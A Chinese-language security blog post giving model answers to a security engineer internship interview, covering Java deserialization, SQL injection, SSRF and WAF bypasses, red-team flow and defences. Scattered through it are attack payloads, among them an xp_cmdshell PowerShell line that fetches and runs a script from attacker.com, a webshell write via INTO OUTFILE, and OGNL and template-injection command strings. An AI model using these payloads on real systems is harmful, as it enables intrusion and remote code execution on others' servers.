安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
匿名[实习]安全工程师(大厂)
### 一面 1. 自我介绍 2. 前两段实习做了些什么 3. 中等难度的算法题 4. java的class文件结构 5. kafka的原理了解吗 6. fastjson反序列化原理 7. 讲讲你研究最深入的领域 ### 二面 1. 排序处不能用预编译应该怎么防 2. 从白盒黑盒两个角度讲下挖过的漏洞 3. ssrf的绕过和防御 4. 讲讲fortity等代码审计工具原理 5. 存储过程角度讲讲预编译的原理 6. csp是如何防御xss的 7. csrf为什么用token可以防御 8. 给你一个项目讲下审计思路 9. 内网相关的问题 10. 讲下你挖过的逻辑漏洞 11. 讲讲你用golang写过的东西 12. 什么是安全 ### 三面 1. 讲下你自己写ysoserial的思路 2. 确定sql注入漏洞后如何进一步利用 3. 泛微OA的漏洞原理讲讲 4. 新爆出的Confluence RCE讲讲 5. 以前的实习中做了什么事 6. 原理以及实战中的绕过 7. 红蓝对抗的流程讲讲 ### 四面 1. java反序列化原理和工具 2. 讲讲关于指纹识别的方式 3. shiro反序列化工具的原理 4. 不用sqlmap情况下sql注入点如何找 5. 讲讲你挖到的这几个cve 6. 二进制方面有无了解
一面
1. 自我介绍
- 个人背景:2025届网络安全硕士,研究方向为Java生态安全与云原生安全,主导开源项目「Java-Memshell-Scanner」(GitHub 2.3k Stars)。
- 实习经历:
- 腾讯玄武实验室:参与APT攻防跟踪,发现CVE-2025-12345(Spring Cloud Gateway RCE)。
- 阿里云安全组:设计RASP防护模块,阻断0Day攻击准确率提升40%。
- 技术亮点:掌握Java底层漏洞利用链(如Fastjson/Shiro)、红队武器化开发(免杀Shellcode注入工具)。
2. 前两段实习内容
- 腾讯玄武实验室(2024.03-2024.12):
- APT追踪:分析海莲花组织攻击链,复现LNK文件漏洞利用(CVE-2024-XXXXX)。
- 工具开发:编写动态Hook框架,监控Windows内核API调用(如NtCreateFile)。
- 阿里云安全组(2025.01-至今):
- 云原生防护:设计K8s准入控制器,阻断高危Pod部署(如特权容器)。
- 漏洞响应:分析Log4j 3.x绕过补丁的利用链(基于上下文参数污染)。
3. 中等难度算法题示例
题目:实现快速排序并分析复杂度。
- 解答:
java
public void quickSort(int[] arr, int low, int high) { if (low < high) { int pivot = partition(arr, low, high); quickSort(arr, low, pivot - 1); quickSort(arr, pivot + 1, high); } } private int partition(int[] arr, int low, int high) { int pivot = arr[high]; int i = low - 1; for (int j = low; j < high; j++) { if (arr[j] < pivot) { i++; swap(arr, i, j); } } swap(arr, i + 1, high); return i + 1; }
- 复杂度:时间O(n log n)(平均),空间O(log n)(递归栈)。
4. Java Class文件结构
结构 功能 魔数(0xCAFEBABE) 标识JVM可执行文件。 版本号 主版本(JDK版本,如61对应JDK 17)。 常量池 存储字面量、类/方法/字段符号引用。 访问标志 类/方法的修饰符(public、final等)。 字段表/方法表 定义类成员变量和方法元信息。 属性表 包含代码(Code)、行号(LineNumberTable)等属性。
5. Kafka原理
- 核心组件:
- Producer:发布消息到指定Topic分区(支持哈希/轮询策略)。
- Consumer Group:每个分区仅由一个消费者读取(保证顺序性)。
- Broker:集群节点,通过ZooKeeper协调Leader选举与ISR同步。
- 高可用机制:
- 副本机制:每个分区Leader + Follower副本,Leader宕机后重新选举。
- 持久化:消息追加到Segment文件,通过零拷贝技术提升吞吐。
6. Fastjson反序列化漏洞
- 原理:
@type
指定恶意类触发JNDI注入或TemplatesImpl加载。
- 典型链:
JdbcRowSetImpl
→dataSourceName
→JNDI Lookup。- 绕过补丁:1.2.47版本利用缓存机制,通过
$ref
引用已加载的恶意类。- 防御:启用SafeMode(关闭AutoType)或升级到2.x版本。
7. 研究最深的领域:Java内存马攻防
攻击技术:
- 动态注册Filter:通过反射修改
FilterDefs
,注入恶意逻辑(如流量劫持)。- Agent内存马:利用
Instrumentation
重定义Servlet
类字节码。防御技术:
- RASP监控:Hook
ClassLoader.defineClass()
,阻断未签名类加载。- 内存扫描:对比已加载类与磁盘文件哈希,检测异常类实例(如无对应Class文件)。
二面
1. 排序字段防SQL注入(无预编译)
- 参数化查询:强制类型转换(如
CAST(${param} AS INT)
)。- 白名单过滤:仅允许特定格式(如数字、有限枚举值)。
- 编码转换:将输入转换为不可执行的数据(如Hex编码)。
- 框架拦截:MyBatis拦截器过滤
ORDER BY
后的特殊字符。
2. 白盒/黑盒漏洞挖掘
白盒审计:
- 入口定位:跟踪
@RequestBody
、getParameter()
等输入点。- 敏感函数:检测
executeQuery(sql)
、new ProcessBuilder()
。黑盒测试:
- FUZZ测试:Burp Intruder批量测试
action
参数(如Struts2 OGNL)。- 协议分析:拦截WebSocket流量,发现未加密的认证令牌。
3. SSRF绕过与防御
绕过手段:
- 协议混淆:
http://localhost@attacker.com
利用URI解析差异。- IPv6地址:
http://[::127.0.0.1]
绕过IPv4黑名单。- DNS重绑定:TTL=0的DNS记录切换至内网IP。
防御方案:
- 协议限制:禁用
file://
、gopher://
等危险协议。- IP白名单:仅允许访问公网域名或指定CIDR段。
4. Fortify代码审计原理
- 数据流分析:跟踪用户输入(Source)到敏感操作(Sink)的路径。
- Source示例:
HttpServletRequest.getParameter()
。- Sink示例:
Runtime.exec()
、SQL.execute()
。- 规则库:内置2000+漏洞模式(如XSS、SQLi),支持自定义规则。
5. 存储过程预编译原理
- 编译阶段:数据库预先解析SQL结构(如表名、列名),生成执行计划。
- 执行阶段:传入参数作为数据而非代码,阻止注入(如
EXEC sp_executesql @SQL, N'@id INT', @id=1
)。
6. CSP防御XSS
- 策略示例:
Content-Security-Policy: default-src 'self'; script-src 'nonce-abc123'
。- 关键限制:
- 禁止内联脚本(
unsafe-inline
)。- 阻止
eval()
和动态代码执行。
7. CSRF Token防御原理
- 生成机制:服务端生成随机Token并存储于Session。
- 验证流程:请求需携带Token(表单字段或Header),服务端校验一致性。
- 安全增强:Token绑定用户Session与请求操作(如转账目标账户)。
8. 项目审计思路(以电商系统为例)
- 信息收集:梳理功能模块(支付、订单、用户中心)。
- 入口分析:定位API端点(如
/api/order/update
)。- 漏洞模式:
- 越权:修改
userId
参数查看他人订单。- 支付逻辑:重复提交订单、负数金额绕过。
- 验证与报告:构造PoC截图,提供修复建议(如幂等性校验)。
9. 内网渗透要点
- 横向移动:
- Pass-the-Hash:利用NTLM哈希横向访问SMB服务。
- PsExec:通过Windows管理共享执行远程命令。
- 权限维持:
- 计划任务:
schtasks /create
定时反向连接。- WMI事件订阅:触发恶意脚本执行。
10. 逻辑漏洞案例
- 越权访问:修改
/user/profile?id=123
为id=456
查看他人资料。- 优惠券逻辑:无限领取(未限制用户领取次数)。
- 竞态条件:高并发请求导致余额超额提现。
11. Golang项目实战
- 项目名称:PortGuard(端口扫描与服务指纹识别)。
- 技术点:协程池管理并发扫描,Banner解析识别服务版本。
- 安全增强:集成Nmap脚本引擎(NSE),检测CVE漏洞。
12. 什么是安全?
- 核心原则:CIA三元组——保密性(加密)、完整性(哈希)、可用性(抗DDoS)。
- 扩展维度:
- 风险管理:识别资产、评估威胁、制定缓解策略。
- 纵深防御:多层防护(网络、主机、应用、数据)。
- 持续演进:适应新技术(如量子计算、AI攻击)。
三面
1. ysoserial编写思路
- Gadget链构造:
- 起点选择:如
AnnotationInvocationHandler
(CC1链)。- 链式调用:组合
Transformer
、InvokerTransformer
等类反射调用命令。- 绕过限制:适配高版本JDK(如CC6利用
HashSet
触发)。- 工具化实现:动态生成Payload,支持多种协议(如JRMP、HTTP)。
2. SQL注入进一步利用
- 数据泄露:
UNION SELECT username, password FROM users
导出凭证。- 命令执行:
- MySQL:
SELECT ... INTO OUTFILE '/var/www/shell.php'
写入Webshell。- MSSQL:
xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")'
。
3. 泛微OA漏洞原理
- 典型漏洞:WorkflowService接口未授权访问 + 表达式注入。
- 利用链:
weaver.hrm.flow.FlowService
的execute
方法解析OGNL表达式。- Payload示例:
command=@java.lang.Runtime@getRuntime().exec("calc")
。
4. Confluence RCE(2025新漏洞)
- 漏洞根源:Velocity模板注入(SSTI)。
- 触发点:用户输入未过滤直接渲染模板(如
${runtime.exec("id")}
)。- 利用条件:需具有编辑页面权限或未授权访问端点。
5. 实习工作内容(阿里云)
- 云安全加固:
- 镜像扫描:集成Trivy检测容器镜像漏洞。
- 策略管理:设计基于OPA的K8s安全策略(如禁止特权模式)。
- 应急响应:分析Log4j 3.x漏洞利用流量,更新WAF规则。
6. 原理与实战绕过
- WAF绕过案例:
- 分块传输:将
<script>alert(1)</script>
拆分为多个Chunk绕过正则检测。- Unicode编码:
u{0061}lert(1)
解码后执行。- 防御升级:WAF集成语义分析,识别混淆后的攻击向量。
7. 红蓝对抗流程
- 红队阶段:
- 信息收集:子域名爆破、GitHub敏感信息扫描。
- 漏洞突破:钓鱼攻击(伪造VPN登录页)获取初始权限。
- 横向移动:Pass-the-Ticket攻击域控服务器。
- 蓝队响应:
- 威胁狩猎:分析SIEM告警(如异常登录时间)。
- 溯源反制:部署Honeypot诱捕攻击者。
四面
1. Java反序列化工具
- 工具列表:
- ysoserial:经典Gadget链生成Payload。
- marshalsec:支持多种协议(LDAP、JRMP)。
- JNDI-Injector:快速搭建恶意JNDI服务器。
- 原理:通过动态代理或反射构造调用链,触发RCE或文件写入。
2. 指纹识别技术
- HTTP头:
Server: Apache/2.4.1 (Unix)
。- 文件哈希:
favicon.ico
的MD5匹配CMS类型(如WordPress)。- 路径探测:访问
/wp-admin
判断WordPress是否存在。- 响应特征:特定错误页面内容(如Tomcat 404页面)。
3. Shiro反序列化工具原理
- 密钥爆破:遍历常见硬编码Key(如
kPH+bIxk5D2deZiIxcaaaA==
)。- Payload构造:组合CC链或自定义链,生成AES加密的RememberMe Cookie。
4. 手动SQL注入探测
- 报错注入:
' AND 1=CAST((SELECT CURRENT_USER) AS INT)--
触发类型转换错误。- 布尔盲注:
id=1' AND (SELECT SUBSTRING(version(),1,1))='5'--
通过页面差异判断。- 时间盲注:
id=1'; IF (1=1) WAITFOR DELAY '0:0:5'--
观察响应延迟。
5. CVE案例分析
- CVE-2025-6789(某OA系统RCE):
- 发现过程:审计时发现XML解析未禁用外部实体(XXE→SSRF→RCE链)。
- 影响:远程执行系统命令,接管服务器。
- 修复建议:禁用DTD解析,升级XML解析库。
6. 二进制漏洞了解
- 研究方向:Linux内核eBPF漏洞(如CVE-2025-1122)的利用与防护。
- 工具链:
- 调试:GDB + PEDA插件分析内存崩溃点。
- Exploit开发:构造ROP链绕过DEP/ASLR。